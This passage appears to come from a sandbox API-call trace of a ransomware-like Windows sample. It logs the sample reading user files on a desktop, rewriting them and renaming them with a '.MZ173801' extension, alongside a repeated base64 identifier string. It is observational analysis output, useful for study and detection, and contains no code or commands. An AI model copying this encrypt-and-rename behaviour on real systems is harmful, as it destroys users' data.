lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x0 [0145.064] SetFilePointer (in: hFile=0x2a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x14084 [0145.065] SetFilePointer (in: hFile=0x2a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x0 [0145.065] ReadFile (in: hFile=0x2a8, lpBuffer=0x714510, nNumberOfBytesToRead=0x14084, lpNumberOfBytesRead=0x18f3f8, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f3f8*=0x14084, lpOverlapped=0x0) returned 1 [0145.066] CloseHandle (hObject=0x2a8) returned 1 [0145.068] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hWfUtaPtfp9OHXNA9h\\36rYiOW9I_Vo91vZ8DQ2\\dgsLjsUWl xLSmB3xpXk.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hwfutaptfp9ohxna9h\\36ryiow9i_vo91vz8dq2\\dgsljsuwl xlsmb3xpxk.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2a8 [0145.070] WriteFile (in: hFile=0x2a8, lpBuffer=0x72a540*, nNumberOfBytesToWrite=0x14084, lpNumberOfBytesWritten=0x18f404, lpOverlapped=0x0 | out: lpBuffer=0x72a540*, lpNumberOfBytesWritten=0x18f404*=0x14084, lpOverlapped=0x0) returned 1 [0145.072] CloseHandle (hObject=0x2a8) returned 1 [0145.072] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hWfUtaPtfp9OHXNA9h\\36rYiOW9I_Vo91vZ8DQ2\\dgsLjsUWl xLSmB3xpXk.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hwfutaptfp9ohxna9h\\36ryiow9i_vo91vz8dq2\\dgsljsuwl xlsmb3xpxk.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hWfUtaPtfp9OHXNA9h\\36rYiOW9I_Vo91vZ8DQ2\\dgsLjsUWl xLSmB3xpXk.mp4.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hwfutaptfp9ohxna9h\\36ryiow9i_vo91vz8dq2\\dgsljsuwl xlsmb3xpxk.mp4.mz173801")) returned 1 [0145.073] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hWfUtaPtfp9OHXNA9h\\36rYiOW9I_Vo91vZ8DQ2\\FveJ5bedfScgZ0 GLL.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hwfutaptfp9ohxna9h\\36ryiow9i_vo91vz8dq2\\fvej5bedfscgz0 gll.gif"), fInfoLevelId=0x0, lpFileInformation=0x18f438 | out: lpFileInformation=0x18f438*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5116dec0, ftCreationTime.dwHighDateTime=0x1d5d8f8, ftLastAccessTime.dwLowDateTime=0x1a4b6f00, ftLastAccessTime.dwHighDateTime=0x1d5dd49, ftLastWriteTime.dwLowDateTime=0x1a4b6f00, ftLastWriteTime.dwHighDateTime=0x1d5dd49, nFileSizeHigh=0x0, nFileSizeLow=0x112c7)) returned 1 [0145.075] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0145.075] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0145.077] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hWfUtaPtfp9OHXNA9h\\36rYiOW9I_Vo91vZ8DQ2\\FveJ5bedfScgZ0 GLL.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hwfutaptfp9ohxna9h\\36ryiow9i_vo91vz8dq2\\fvej5bedfscgz0 gll.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2a8 [0145.078] SetFilePointer (in: hFile=0x2a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3ec*=0) returned 0x0 [0145.078] SetFilePointer (in: hFile=0x2a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x0 [0145.079] SetFilePointer (in: hFile=0x2a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x112c7 [0145.079] SetFilePointer (in: hFile=0x2a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x0 [0145.079] ReadFile (in: hFile=0x2a8, lpBuffer=0x714510, nNumberOfBytesToRead=0x112c7, lpNumberOfBytesRead=0x18f3f8, lpOverlapped=0x0 | out: lpBuffer=0x714510*, lpNumberOfBytesRead=0x18f3f8*=0x112c7, lpOverlapped=0x0) returned 1 [0145.080] CloseHandle (hObject=0x2a8) returned 1 [0145.082] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hWfUtaPtfp9OHXNA9h\\36rYiOW9I_Vo91vZ8DQ2\\FveJ5bedfScgZ0 GLL.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hwfutaptfp9ohxna9h\\36ryiow9i_vo91vz8dq2\\fvej5bedfscgz0 gll.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2a8 [0145.083] WriteFile (in: hFile=0x2a8, lpBuffer=0x726540*, nNumberOfBytesToWrite=0x112c7, lpNumberOfBytesWritten=0x18f404, lpOverlapped=0x0 | out: lpBuffer=0x726540*, lpNumberOfBytesWritten=0x18f404*=0x112c7, lpOverlapped=0x0) returned 1 [0145.086] CloseHandle (hObject=0x2a8) returned 1 [0145.086] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hWfUtaPtfp9OHXNA9h\\36rYiOW9I_Vo91vZ8DQ2\\FveJ5bedfScgZ0 GLL.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hwfutaptfp9ohxna9h\\36ryiow9i_vo91vz8dq2\\fvej5bedfscgz0 gll.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hWfUtaPtfp9OHXNA9h\\36rYiOW9I_Vo91vZ8DQ2\\FveJ5bedfScgZ0 GLL.gif.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hwfutaptfp9ohxna9h\\36ryiow9i_vo91vz8dq2\\fvej5bedfscgz0 gll.gif.mz173801")) returned 1 [0145.087] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hWfUtaPtfp9OHXNA9h\\36rYiOW9I_Vo91vZ8DQ2\\fZVy.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hwfutaptfp9ohxna9h\\36ryiow9i_vo91vz8dq2\\fzvy.pdf"), fInfoLevelId=0x0, lpFileInformation=0x18f438 | out: lpFileInformation=0x18f438*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d4e4b10, ftCreationTime.dwHighDateTime=0x1d5e169, ftLastAccessTime.dwLowDateTime=0xd709ae90, ftLastAccessTime.dwHighDateTime=0x1d5de7a, ftLastWriteTime.dwLowDateTime=0xd709ae90, ftLastWriteTime.dwHighDateTime=0x1d5de7a, nFileSizeHigh=0x0, nFileSizeLow=0x4c16)) returned 1 [0145.089] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0145.089] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0145.091] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\hWfUtaPtfp9OHXNA9h\\36rYiOW9I_Vo91vZ8DQ2\\fZVy.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hwfutaptfp9ohxna9h\\36ryiow9i_vo91vz8dq2\\fzvy.pdf"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2a8 [0145.091] SetFilePointer (in: hFile=0x2a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3ec*=0) returned 0x0 [0145.091] SetFilePointer (in: hFile=0x2a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x0 [0145.091] SetFilePointer (in: hFile=0x2a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x4c16 [0145.091] SetFilePointer (in: hFile=0x2a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3e4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3e4*=0) returned 0x0 